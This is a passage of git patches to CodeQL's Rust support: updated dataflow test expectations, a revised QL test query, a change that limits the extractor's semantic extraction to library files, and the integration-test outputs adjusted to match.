| n | -| main.rs:334:9:334:12 | B(...) | B | main.rs:334:11:334:11 | n | -| main.rs:337:9:337:12 | A(...) | A | main.rs:337:11:337:11 | n | -| main.rs:337:16:337:19 | B(...) | B | main.rs:337:18:337:18 | n | -| main.rs:340:9:340:12 | A(...) | A | main.rs:340:11:340:11 | n | -| main.rs:341:9:341:12 | B(...) | B | main.rs:341:11:341:11 | n | -| main.rs:356:9:356:38 | ...::C {...} | C | main.rs:356:36:356:36 | n | -| main.rs:357:9:357:38 | ...::D {...} | D | main.rs:357:36:357:36 | n | -| main.rs:360:9:360:38 | ...::C {...} | C | main.rs:360:36:360:36 | n | -| main.rs:360:42:360:71 | ...::D {...} | D | main.rs:360:69:360:69 | n | -| main.rs:363:9:363:38 | ...::C {...} | C | main.rs:363:36:363:36 | n | -| main.rs:364:9:364:38 | ...::D {...} | D | main.rs:364:36:364:36 | n | -| main.rs:376:9:376:24 | C {...} | C | main.rs:376:22:376:22 | n | -| main.rs:377:9:377:24 | D {...} | D | main.rs:377:22:377:22 | n | -| main.rs:380:9:380:24 | C {...} | C | main.rs:380:22:380:22 | n | -| main.rs:380:28:380:43 | D {...} | D | main.rs:380:41:380:41 | n | -| main.rs:383:9:383:24 | C {...} | C | main.rs:383:22:383:22 | n | -| main.rs:384:9:384:24 | D {...} | D | main.rs:384:22:384:22 | n | -| main.rs:393:14:393:17 | arr1 | element | main.rs:393:14:393:20 | arr1[2] | -| main.rs:397:14:397:17 | arr2 | element | main.rs:397:14:397:20 | arr2[4] | -| main.rs:401:14:401:17 | arr3 | element | main.rs:401:14:401:20 | arr3[2] | -| main.rs:407:15:407:18 | arr1 | element | main.rs:407:9:407:10 | n1 | -| main.rs:412:15:412:18 | arr2 | element | main.rs:412:9:412:10 | n2 | -| main.rs:420:9:420:17 | SlicePat | element | main.rs:420:10:420:10 | a | -| main.rs:420:9:420:17 | SlicePat | element | main.rs:420:13:420:13 | b | -| main.rs:420:9:420:17 | SlicePat | element | main.rs:420:16:420:16 | c | -| main.rs:430:10:430:16 | mut_arr | element | main.rs:430:10:430:19 | mut_arr[1] | -| main.rs:432:5:432:11 | mut_arr | element | main.rs:432:5:432:14 | mut_arr[1] | -| main.rs:433:13:433:19 | mut_arr | element | main.rs:433:13:433:22 | mut_arr[1] | -| main.rs:435:10:435:16 | mut_arr | element | main.rs:435:10:435:19 | mut_arr[0] | -| main.rs:442:9:442:20 | TuplePat | tuple.0 | main.rs:442:10:442:13 | cond | -| main.rs:442:9:442:20 | TuplePat | tuple.1 | main.rs:442:16:442:19 | name | -| main.rs:442:25:442:29 | names | element | main.rs:442:9:442:20 | TuplePat | -| main.rs:444:41:444:67 | [post] \|...\| ... | captured default_name | main.rs:444:41:444:67 | [post] default_name | -| main.rs:444:44:444:55 | this | captured default_name | main.rs:444:44:444:55 | default_name | -| main.rs:481:10:481:11 | vs | element | main.rs:481:10:481:14 | vs[0] | -| main.rs:482:11:482:35 | ... .unwrap() | &ref | main.rs:482:10:482:35 | * ... | -| main.rs:483:11:483:35 | ... .unwrap() | &ref | main.rs:483:10:483:35 | * ... | -| main.rs:485:14:485:15 | vs | element | main.rs:485:9:485:9 | v | -| main.rs:488:9:488:10 | &... | &ref | main.rs:488:10:488:10 | v | -| main.rs:488:15:488:23 | vs.iter() | element | main.rs:488:9:488:10 | &... | -| main.rs:493:9:493:10 | &... | &ref | main.rs:493:10:493:10 | v | -| main.rs:493:15:493:17 | vs2 | element | main.rs:493:9:493:10 | &... | -| main.rs:497:29:497:29 | x | &ref | main.rs:497:28:497:29 | * ... | -| main.rs:498:34:498:34 | x | &ref | main.rs:498:33:498:34 | * ... | -| main.rs:500:14:500:27 | vs.into_iter() | element | main.rs:500:9:500:9 | v | -| main.rs:506:10:506:15 | vs_mut | element | main.rs:506:10:506:18 | vs_mut[0] | -| main.rs:507:11:507:39 | ... .unwrap() | &ref | main.rs:507:10:507:39 | * ... | -| main.rs:508:11:508:39 | ... .unwrap() | &ref | main.rs:508:10:508:39 | * ... | -| main.rs:510:9:510:14 | &mut ... | &ref | main.rs:510:14:510:14 | v | -| main.rs:510:19:510:35 | vs_mut.iter_mut() | element | main.rs:510:9:510:14 | &mut ... | -| main.rs:524:11:524:15 | c_ref | &ref | main.rs:524:10:524:15 | * ... | +| main.rs:36:9:36:15 | Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:36:14:36:14 | _ | +| main.rs:90:11:90:11 | i | file://:0:0:0:0 | &ref | main.rs:90:10:90:11 | * ... | +| main.rs:98:10:98:10 | a | file://:0:0:0:0 | tuple.0 | main.rs:98:10:98:12 | a.0 | +| main.rs:99:10:99:10 | a | file://:0:0:0:0 | tuple.1 | main.rs:99:10:99:12 | a.1 | +| main.rs:104:9:104:20 | TuplePat | file://:0:0:0:0 | tuple.0 | main.rs:104:10:104:11 | a0 | +| main.rs:104:9:104:20 | TuplePat | file://:0:0:0:0 | tuple.1 | main.rs:104:14:104:15 | a1 | +| main.rs:104:9:104:20 | TuplePat | file://:0:0:0:0 | tuple.2 | main.rs:104:18:104:19 | a2 | +| main.rs:112:10:112:10 | a | file://:0:0:0:0 | tuple.0 | main.rs:112:10:112:12 | a.0 | +| main.rs:113:10:113:10 | a | file://:0:0:0:0 | tuple.1 | main.rs:113:10:113:12 | a.1 | +| main.rs:114:5:114:5 | a | file://:0:0:0:0 | tuple.0 | main.rs:114:5:114:7 | a.0 | +| main.rs:115:5:115:5 | a | file://:0:0:0:0 | tuple.1 | main.rs:115:5:115:7 | a.1 | +| main.rs:116:10:116:10 | a | file://:0:0:0:0 | tuple.0 | main.rs:116:10:116:12 | a.0 | +| main.rs:117:10:117:10 | a | file://:0:0:0:0 | tuple.1 | main.rs:117:10:117:12 | a.1 | +| main.rs:123:10:123:10 | b | file://:0:0:0:0 | tuple.0 | main.rs:123:10:123:12 | b.0 | +| main.rs:123:10:123:12 | b.0 | file://:0:0:0:0 | tuple.0 | main.rs:123:10:123:15 | ... .0 | +| main.rs:124:10:124:10 | b | file://:0:0:0:0 | tuple.0 | main.rs:124:10:124:12 | b.0 | +| main.rs:124:10:124:12 | b.0 | file://:0:0:0:0 | tuple.1 | main.rs:124:10:124:15 | ... .1 | +| main.rs:125:10:125:10 | b | file://:0:0:0:0 | tuple.1 | main.rs:125:10:125:12 | b.1 | +| main.rs:138:10:138:10 | p | main.rs:132:5:132:10 | Point.x | main.rs:138:10:138:12 | p.x | +| main.rs:139:10:139:10 | p | main.rs:133:5:133:10 | Point.y | main.rs:139:10:139:12 | p.y | +| main.rs:144:10:144:10 | p | main.rs:133:5:133:10 | Point.y | main.rs:144:10:144:12 | p.y | +| main.rs:145:5:145:5 | p | main.rs:133:5:133:10 | Point.y | main.rs:145:5:145:7 | p.y | +| main.rs:146:10:146:10 | p | main.rs:133:5:133:10 | Point.y | main.rs:146:10:146:12 | p.y | +| main.rs:154:9:154:28 | Point {...} | main.rs:132:5:132:10 | Point.x | main.rs:154:20:154:20 | a | +| main.rs:154:9:154:28 | Point {...} | main.rs:133:5:133:10 | Point.y | main.rs:154:26:154:26 | b | +| main.rs:172:10:172:10 | p | main.rs:160:5:160:16 | Point3D.plane | main.rs:172:10:172:16 | p.plane | +| main.rs:172:10:172:16 | p.plane | main.rs:132:5:132:10 | Point.x | main.rs:172:10:172:18 | ... .x | +| main.rs:173:10:173:10 | p | main.rs:160:5:160:16 | Point3D.plane | main.rs:173:10:173:16 | p.plane | +| main.rs:173:10:173:16 | p.plane | main.rs:133:5:133:10 | Point.y | main.rs:173:10:173:18 | ... .y | +| main.rs:174:10:174:10 | p | main.rs:161:5:161:10 | Point3D.z | main.rs:174:10:174:12 | p.z | +| main.rs:184:9:187:9 | Point3D {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:185:20:185:33 | Point {...} | +| main.rs:184:9:187:9 | Point3D {...} | main.rs:161:5:161:10 | Point3D.z | main.rs:186:13:186:13 | z | +| main.rs:185:20:185:33 | Point {...} | main.rs:132:5:132:10 | Point.x | main.rs:185:28:185:28 | x | +| main.rs:185:20:185:33 | Point {...} | main.rs:133:5:133:10 | Point.y | main.rs:185:31:185:31 | y | +| main.rs:199:10:199:10 | s | file://:0:0:0:0 | tuple.0 | main.rs:199:10:199:12 | s.0 | +| main.rs:199:10:199:10 | s | main.rs:195:22:195:24 | MyTupleStruct(0) | main.rs:199:10:199:12 | s.0 | +| main.rs:200:10:200:10 | s | file://:0:0:0:0 | tuple.1 | main.rs:200:10:200:12 | s.1 | +| main.rs:200:10:200:10 | s | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:200:10:200:12 | s.1 | +| main.rs:203:9:203:27 | MyTupleStruct(...) | main.rs:195:22:195:24 | MyTupleStruct(0) | main.rs:203:23:203:23 | x | +| main.rs:203:9:203:27 | MyTupleStruct(...) | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:203:26:203:26 | y | +| main.rs:217:9:217:23 | ...::Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:217:22:217:22 | n | +| main.rs:221:9:221:23 | ...::Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:221:22:221:22 | n | +| main.rs:230:9:230:15 | Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:230:14:230:14 | n | +| main.rs:234:9:234:15 | Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:234:14:234:14 | n | +| main.rs:263:14:263:15 | s1 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:263:14:263:16 | TryExpr | +| main.rs:263:14:263:15 | s1 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:263:14:263:16 | TryExpr | +| main.rs:265:10:265:11 | s2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:265:10:265:12 | TryExpr | +| main.rs:265:10:265:11 | s2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:265:10:265:12 | TryExpr | +| main.rs:287:14:287:15 | s1 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:287:14:287:16 | TryExpr | +| main.rs:287:14:287:15 | s1 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:287:14:287:16 | TryExpr | +| main.rs:288:14:288:15 | s2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:288:14:288:16 | TryExpr | +| main.rs:288:14:288:15 | s2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:288:14:288:16 | TryExpr | +| main.rs:291:14:291:15 | s3 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:291:14:291:16 | TryExpr | +| main.rs:291:14:291:15 | s3 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:291:14:291:16 | TryExpr | +| main.rs:315:9:315:25 | ...::A(...) | main.rs:307:7:307:9 | A | main.rs:315:24:315:24 | n | +| main.rs:316:9:316:25 | ...::B(...) | main.rs:308:7:308:9 | B | main.rs:316:24:316:24 | n | +| main.rs:319:9:319:25 | ...::A(...) | main.rs:307:7:307:9 | A | main.rs:319:24:319:24 | n | +| main.rs:319:29:319:45 | ...::B(...) | main.rs:308:7:308:9 | B | main.rs:319:44:319:44 | n | +| main.rs:322:9:322:25 | ...::A(...) | main.rs:307:7:307:9 | A | main.rs:322:24:322:24 | n | +| main.rs:323:9:323:25 | ...::B(...) | main.rs:308:7:308:9 | B | main.rs:323:24:323:24 | n | +| main.rs:333:9:333:12 | A(...) | main.rs:307:7:307:9 | A | main.rs:333:11:333:11 | n | +| main.rs:334:9:334:12 | B(...) | main.rs:308:7:308:9 | B | main.rs:334:11:334:11 | n | +| main.rs:337:9:337:12 | A(...) | main.rs:307:7:307:9 | A | main.rs:337:11:337:11 | n | +| main.rs:337:16:337:19 | B(...) | main.rs:308:7:308:9 | B | main.rs:337:18:337:18 | n | +| main.rs:340:9:340:12 | A(...) | main.rs:307:7:307:9 | A | main.rs:340:11:340:11 | n | +| main.rs:341:9:341:12 | B(...) | main.rs:308:7:308:9 | B | main.rs:341:11:341:11 | n | +| main.rs:356:9:356:38 | ...::C {...} | main.rs:346:9:346:20 | C | main.rs:356:36:356:36 | n | +| main.rs:357:9:357:38 | ...::D {...} | main.rs:347:9:347:20 | D | main.rs:357:36:357:36 | n | +| main.rs:360:9:360:38 | ...::C {...} | main.rs:346:9:346:20 | C | main.rs:360:36:360:36 | n | +| main.rs:360:42:360:71 | ...::D {...} | main.rs:347:9:347:20 | D | main.rs:360:69:360:69 | n | +| main.rs:363:9:363:38 | ...::C {...} | main.rs:346:9:346:20 | C | main.rs:363:36:363:36 | n | +| main.rs:364:9:364:38 | ...::D {...} | main.rs:347:9:347:20 | D | main.rs:364:36:364:36 | n | +| main.rs:376:9:376:24 | C {...} | main.rs:346:9:346:20 | C | main.rs:376:22:376:22 | n | +| main.rs:377:9:377:24 | D {...} | main.rs:347:9:347:20 | D | main.rs:377:22:377:22 | n | +| main.rs:380:9:380:24 | C {...} | main.rs:346:9:346:20 | C | main.rs:380:22:380:22 | n | +| main.rs:380:28:380:43 | D {...} | main.rs:347:9:347:20 | D | main.rs:380:41:380:41 | n | +| main.rs:383:9:383:24 | C {...} | main.rs:346:9:346:20 | C | main.rs:383:22:383:22 | n | +| main.rs:384:9:384:24 | D {...} | main.rs:347:9:347:20 | D | main.rs:384:22:384:22 | n | +| main.rs:393:14:393:17 | arr1 | file://:0:0:0:0 | element | main.rs:393:14:393:20 | arr1[2] | +| main.rs:397:14:397:17 | arr2 | file://:0:0:0:0 | element | main.rs:397:14:397:20 | arr2[4] | +| main.rs:401:14:401:17 | arr3 | file://:0:0:0:0 | element | main.rs:401:14:401:20 | arr3[2] | +| main.rs:407:15:407:18 | arr1 | file://:0:0:0:0 | element | main.rs:407:9:407:10 | n1 | +| main.rs:412:15:412:18 | arr2 | file://:0:0:0:0 | element | main.rs:412:9:412:10 | n2 | +| main.rs:420:9:420:17 | SlicePat | file://:0:0:0:0 | element | main.rs:420:10:420:10 | a | +| main.rs:420:9:420:17 | SlicePat | file://:0:0:0:0 | element | main.rs:420:13:420:13 | b | +| main.rs:420:9:420:17 | SlicePat | file://:0:0:0:0 | element | main.rs:420:16:420:16 | c | +| main.rs:430:10:430:16 | mut_arr | file://:0:0:0:0 | element | main.rs:430:10:430:19 | mut_arr[1] | +| main.rs:432:5:432:11 | mut_arr | file://:0:0:0:0 | element | main.rs:432:5:432:14 | mut_arr[1] | +| main.rs:433:13:433:19 | mut_arr | file://:0:0:0:0 | element | main.rs:433:13:433:22 | mut_arr[1] | +| main.rs:435:10:435:16 | mut_arr | file://:0:0:0:0 | element | main.rs:435:10:435:19 | mut_arr[0] | +| main.rs:442:9:442:20 | TuplePat | file://:0:0:0:0 | tuple.0 | main.rs:442:10:442:13 | cond | +| main.rs:442:9:442:20 | TuplePat | file://:0:0:0:0 | tuple.1 | main.rs:442:16:442:19 | name | +| main.rs:442:25:442:29 | names | file://:0:0:0:0 | element | main.rs:442:9:442:20 | TuplePat | +| main.rs:444:41:444:67 | [post] \|...\| ... | main.rs:441:9:441:20 | captured default_name | main.rs:444:41:444:67 | [post] default_name | +| main.rs:444:44:444:55 | this | main.rs:441:9:441:20 | captured default_name | main.rs:444:44:444:55 | default_name | +| main.rs:481:10:481:11 | vs | file://:0:0:0:0 | element | main.rs:481:10:481:14 | vs[0] | +| main.rs:482:11:482:35 | ... .unwrap() | file://:0:0:0:0 | &ref | main.rs:482:10:482:35 | * ... | +| main.rs:483:11:483:35 | ... .unwrap() | file://:0:0:0:0 | &ref | main.rs:483:10:483:35 | * ... | +| main.rs:485:14:485:15 | vs | file://:0:0:0:0 | element | main.rs:485:9:485:9 | v | +| main.rs:488:9:488:10 | &... | file://:0:0:0:0 | &ref | main.rs:488:10:488:10 | v | +| main.rs:488:15:488:23 | vs.iter() | file://:0:0:0:0 | element | main.rs:488:9:488:10 | &... | +| main.rs:493:9:493:10 | &... | file://:0:0:0:0 | &ref | main.rs:493:10:493:10 | v | +| main.rs:493:15:493:17 | vs2 | file://:0:0:0:0 | element | main.rs:493:9:493:10 | &... | +| main.rs:497:29:497:29 | x | file://:0:0:0:0 | &ref | main.rs:497:28:497:29 | * ... | +| main.rs:498:34:498:34 | x | file://:0:0:0:0 | &ref | main.rs:498:33:498:34 | * ... | +| main.rs:500:14:500:27 | vs.into_iter() | file://:0:0:0:0 | element | main.rs:500:9:500:9 | v | +| main.rs:506:10:506:15 | vs_mut | file://:0:0:0:0 | element | main.rs:506:10:506:18 | vs_mut[0] | +| main.rs:507:11:507:39 | ... .unwrap() | file://:0:0:0:0 | &ref | main.rs:507:10:507:39 | * ... | +| main.rs:508:11:508:39 | ... .unwrap() | file://:0:0:0:0 | &ref | main.rs:508:10:508:39 | * ... | +| main.rs:510:9:510:14 | &mut ... | file://:0:0:0:0 | &ref | main.rs:510:14:510:14 | v | +| main.rs:510:19:510:35 | vs_mut.iter_mut() | file://:0:0:0:0 | element | main.rs:510:9:510:14 | &mut ... | +| main.rs:524:11:524:15 | c_ref | file://:0:0:0:0 | &ref | main.rs:524:10:524:15 | * ... | diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql index 29158454b2f7..e3043d55bb6b 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql @@ -1,5 +1,6 @@ import codeql.rust.dataflow.DataFlow import codeql.rust.dataflow.internal.DataFlowImpl +import codeql.rust.dataflow.internal.Node import utils.test.TranslateModels query predicate localStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { @@ -7,6 +8,27 @@ query predicate localStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { RustDataFlow::simpleLocalFlowStep(nodeFrom, nodeTo, "") } -query predicate storeStep = RustDataFlow::storeStep/3; +class Content extends DataFlow::Content { + predicate hasLocationInfo( + string filepath, int startline, int startcolumn, int endline, int endcolumn + ) { + exists(string file | + this.getLocation().hasLocationInfo(file, startline, startcolumn, endline, endcolumn) and + filepath = + file.regexpReplaceAll("^/.*/tools/builtins/", "/BUILTINS/") + .regexpReplaceAll("^/.*/.rustup/toolchains/[^/]+/", "/RUSTUP_HOME/toolchain/") + ) + } +} + +class Node extends DataFlow::Node { + Node() { not this instanceof FlowSummaryNode } +} -query predicate readStep = RustDataFlow::readStep/3; +query predicate storeStep(Node node1, Content c, Node node2) { + RustDataFlow::storeContentStep(node1, c, node2) +} + +query predicate readStep(Node node1, Content c, Node node2) { + RustDataFlow::readContentStep(node1, c, node2) +} From c69aa224c73346019156e4fe8d666c03fb56dc08 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Wed, 21 May 2025 12:03:38 +0200 Subject: [PATCH 303/535] Rust: restrict to library files --- rust/extractor/src/main.rs | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/rust/extractor/src/main.rs b/rust/extractor/src/main.rs index b9d3ddabd548..536d86f67f0e 100644 --- a/rust/extractor/src/main.rs +++ b/rust/extractor/src/main.rs @@ -4,6 +4,7 @@ use crate::translate::{ResolvePaths, SourceKind}; use crate::trap::TrapId; use anyhow::Context; use archive::Archiver; +use ra_ap_base_db::SourceDatabase; use ra_ap_hir::Semantics; use ra_ap_ide_db::RootDatabase; use ra_ap_ide_db::line_index::{LineCol, LineIndex}; @@ -301,10 +302,14 @@ fn main() -> anyhow::Result<()> { } }; } - for (_, file) in vfs.iter() { + for (file_id, file) in vfs.iter() { if let Some(file) = file.as_path().map(<_ as AsRef>::as_ref) { if file.extension().is_some_and(|ext| ext == "rs") && processed_files.insert(file.to_owned()) + && db + .source_root(db.file_source_root(file_id).source_root_id(db)) + .source_root(db) + .is_library { extractor.extract_with_semantics( file, From 1eaa491f394c14b473e75062fe71f22a7db54072 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Wed, 21 May 2025 12:46:29 +0200 Subject: [PATCH 304/535] Rust: update integration tests --- .../integration-tests/hello-project/steps.ql | 26 ++----------------- .../hello-workspace/steps.ql | 26 ++----------------- .../integration-tests/macro-expansion/test.ql | 2 +- .../workspace-with-glob/steps.ql | 26 ++----------------- 4 files changed, 7 insertions(+), 73 deletions(-) diff --git a/rust/ql/integration-tests/hello-project/steps.ql b/rust/ql/integration-tests/hello-project/steps.ql index fe45fc4b6dc8..a87e434b14a7 100644 --- a/rust/ql/integration-tests/hello-project/steps.ql +++ b/rust/ql/integration-tests/hello-project/steps.ql @@ -1,27 +1,5 @@ import codeql.rust.elements.internal.ExtractorStep -private class Step instanceof ExtractorStep { - string toString() { - result = super.getAction() + "(" + this.getFilePath() + ")" - or - not super.hasFile() and result = super.getAction() - } - - private string getFilePath() { - exists(File file | file = super.getFile() | - exists(file.getRelativePath()) and result = file.getAbsolutePath() - or - not exists(file.getRelativePath()) and result = "/" + file.getBaseName() - ) - } - - predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - super.hasLocationInfo(_, startline, startcolumn, endline, endcolumn) and - filepath = this.getFilePath() - } -} - -from Step step +from ExtractorStep step +where not step.getAction() = ["ParseLibrary", "ExtractLibrary"] select step diff --git a/rust/ql/integration-tests/hello-workspace/steps.ql b/rust/ql/integration-tests/hello-workspace/steps.ql index fe45fc4b6dc8..a87e434b14a7 100644 --- a/rust/ql/integration-tests/hello-workspace/steps.ql +++ b/rust/ql/integration-tests/hello-workspace/steps.ql @@ -1,27 +1,5 @@ import codeql.rust.elements.internal.ExtractorStep -private class Step instanceof ExtractorStep { - string toString() { - result = super.getAction() + "(" + this.getFilePath() + ")" - or - not super.hasFile() and result = super.getAction() - } - - private string getFilePath() { - exists(File file | file = super.getFile() | - exists(file.getRelativePath()) and result = file.getAbsolutePath() - or - not exists(file.getRelativePath()) and result = "/" + file.getBaseName() - ) - } - - predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - super.hasLocationInfo(_, startline, startcolumn, endline, endcolumn) and - filepath = this.getFilePath() - } -} - -from Step step +from ExtractorStep step +where not step.getAction() = ["ParseLibrary", "ExtractLibrary"] select step diff --git a/rust/ql/integration-tests/macro-expansion/test.ql b/rust/ql/integration-tests/macro-expansion/test.ql index f3f49cbf5c73..3369acc3a285 100644 --- a/rust/ql/integration-tests/macro-expansion/test.ql +++ b/rust/ql/integration-tests/macro-expansion/test.ql @@ -1,5 +1,5 @@ import rust from Item i, MacroItems items, int index, Item expanded -where i.getAttributeMacroExpansion() = items and items.getItem(index) = expanded +where i.fromSource() and i.getAttributeMacroExpansion() = items and items.getItem(index) = expanded select i, index, expanded diff --git a/rust/ql/integration-tests/workspace-with-glob/steps.ql b/rust/ql/integration-tests/workspace-with-glob/steps.ql index fe45fc4b6dc8..a87e434b14a7 100644 --- a/rust/ql/integration-tests/workspace-with-glob/steps.ql +++ b/rust/ql/integration-tests/workspace-with-glob/steps.ql @@ -1,27 +1,5 @@ import codeql.rust.elements.internal.ExtractorStep -private class Step instanceof ExtractorStep { - string toString() { - result = super.getAction() + "(" + this.getFilePath() + ")" - or - not super.hasFile() and result = super.getAction() - } - - private string getFilePath() { - exists(File file | file = super.getFile() | - exists(file.getRelativePath()) and result = file.getAbsolutePath() - or - not exists(file.getRelativePath()) and result = "/" + file.getBaseName() - ) - } - - predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - super.hasLocationInfo(_, startline, startcolumn, endline, endcolumn) and - filepath = this.getFilePath() - } -} - -from Step step +from ExtractorStep step +where not step.getAction() = ["ParseLibrary", "ExtractLibrary"] select step From 2a93b2a499b59819aaa09b8916895a2899dcdee2 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Wed, 21 May 2025 12:05:44 +0200 Subject: [PATCH 305/535] Rust: integration-tests: update output --- .../hello-project/diagnostics.expected | 10 +++++++++- .../hello-project/steps.cargo.expected | 2 -- .../hello-project/steps.rust-project.expected | 2 -- .../integration-tests/hello-project/summary.expected | 2 +- .../hello-workspace/diagnostics.cargo.expected | 10 +++++++++- .../hello-workspace/diagnostics.rust-project.expected | 10 +++++++++- .../hello-workspace/steps.cargo.expected | 2 -- .../hello-workspace/steps.rust-project.expected | 2 -- .../hello-workspace/summary.cargo.expected | 2 +- .../hello-workspace/summary.rust-project.expected | 2 +- .../macro-expansion/diagnostics.expected | 10 +++++++++- .../workspace-with-glob/steps.expected | 2 -- 12 files changed, 39 insertions(+), 17 deletions(-) diff --git a/rust/ql/integration-tests/hello-project/diagnostics.expected b/rust/ql/integration-tests/hello-project/diagnostics.expected index f45877f26d06..65c797abe29d 100644 --- a/rust/ql/integration-tests/hello-project/diagnostics.expected +++ b/rust/ql/integration-tests/hello-project/diagnostics.expected @@ -9,6 +9,10 @@ "ms": "__REDACTED__", "pretty": "__REDACTED__" }, + "extractLibrary": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, "findManifests": { "ms": "__REDACTED__", "pretty": "__REDACTED__" @@ -25,12 +29,16 @@ "ms": "__REDACTED__", "pretty": "__REDACTED__" }, + "parseLibrary": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, "total": { "ms": "__REDACTED__", "pretty": "__REDACTED__" } }, - "numberOfFiles": 6, + "numberOfFiles": 5, "numberOfManifests": 1 }, "severity": "note", diff --git a/rust/ql/integration-tests/hello-project/steps.cargo.expected b/rust/ql/integration-tests/hello-project/steps.cargo.expected index ca256c4f8569..4deec0653daf 100644 --- a/rust/ql/integration-tests/hello-project/steps.cargo.expected +++ b/rust/ql/integration-tests/hello-project/steps.cargo.expected @@ -1,6 +1,4 @@ | Cargo.toml:0:0:0:0 | LoadManifest(Cargo.toml) | -| file:///types.rs:0:0:0:0 | Extract(/types.rs) | -| file:///types.rs:0:0:0:0 | Parse(/types.rs) | | file://:0:0:0:0 | CrateGraph | | file://:0:0:0:0 | FindManifests | | src/directory_module/mod.rs:0:0:0:0 | Extract(src/directory_module/mod.rs) | diff --git a/rust/ql/integration-tests/hello-project/steps.rust-project.expected b/rust/ql/integration-tests/hello-project/steps.rust-project.expected index 165a770e1cba..fa790e6cd7fd 100644 --- a/rust/ql/integration-tests/hello-project/steps.rust-project.expected +++ b/rust/ql/integration-tests/hello-project/steps.rust-project.expected @@ -1,5 +1,3 @@ -| file:///types.rs:0:0:0:0 | Extract(/types.rs) | -| file:///types.rs:0:0:0:0 | Parse(/types.rs) | | file://:0:0:0:0 | CrateGraph | | file://:0:0:0:0 | FindManifests | | rust-project.json:0:0:0:0 | LoadManifest(rust-project.json) | diff --git a/rust/ql/integration-tests/hello-project/summary.expected b/rust/ql/integration-tests/hello-project/summary.expected index 15ee83de7adc..1f343b197c0f 100644 --- a/rust/ql/integration-tests/hello-project/summary.expected +++ b/rust/ql/integration-tests/hello-project/summary.expected @@ -9,7 +9,7 @@ | Inconsistencies - Path resolution | 0 | | Inconsistencies - SSA | 0 | | Inconsistencies - data flow | 0 | -| Lines of code extracted | 23 | +| Lines of code extracted | 6 | | Lines of user code extracted | 6 | | Macro calls - resolved | 2 | | Macro calls - total | 2 | diff --git a/rust/ql/integration-tests/hello-workspace/diagnostics.cargo.expected b/rust/ql/integration-tests/hello-workspace/diagnostics.cargo.expected index 146d8514488e..511bd49f1a51 100644 --- a/rust/ql/integration-tests/hello-workspace/diagnostics.cargo.expected +++ b/rust/ql/integration-tests/hello-workspace/diagnostics.cargo.expected @@ -9,6 +9,10 @@ "ms": "__REDACTED__", "pretty": "__REDACTED__" }, + "extractLibrary": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, "findManifests": { "ms": "__REDACTED__", "pretty": "__REDACTED__" @@ -25,12 +29,16 @@ "ms": "__REDACTED__", "pretty": "__REDACTED__" }, + "parseLibrary": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, "total": { "ms": "__REDACTED__", "pretty": "__REDACTED__" } }, - "numberOfFiles": 5, + "numberOfFiles": 4, "numberOfManifests": 1 }, "severity": "note", diff --git a/rust/ql/integration-tests/hello-workspace/diagnostics.rust-project.expected b/rust/ql/integration-tests/hello-workspace/diagnostics.rust-project.expected index 146d8514488e..511bd49f1a51 100644 --- a/rust/ql/integration-tests/hello-workspace/diagnostics.rust-project.expected +++ b/rust/ql/integration-tests/hello-workspace/diagnostics.rust-project.expected @@ -9,6 +9,10 @@ "ms": "__REDACTED__", "pretty": "__REDACTED__" }, + "extractLibrary": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, "findManifests": { "ms": "__REDACTED__", "pretty": "__REDACTED__" @@ -25,12 +29,16 @@ "ms": "__REDACTED__", "pretty": "__REDACTED__" }, + "parseLibrary": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, "total": { "ms": "__REDACTED__", "pretty": "__REDACTED__" } }, - "numberOfFiles": 5, + 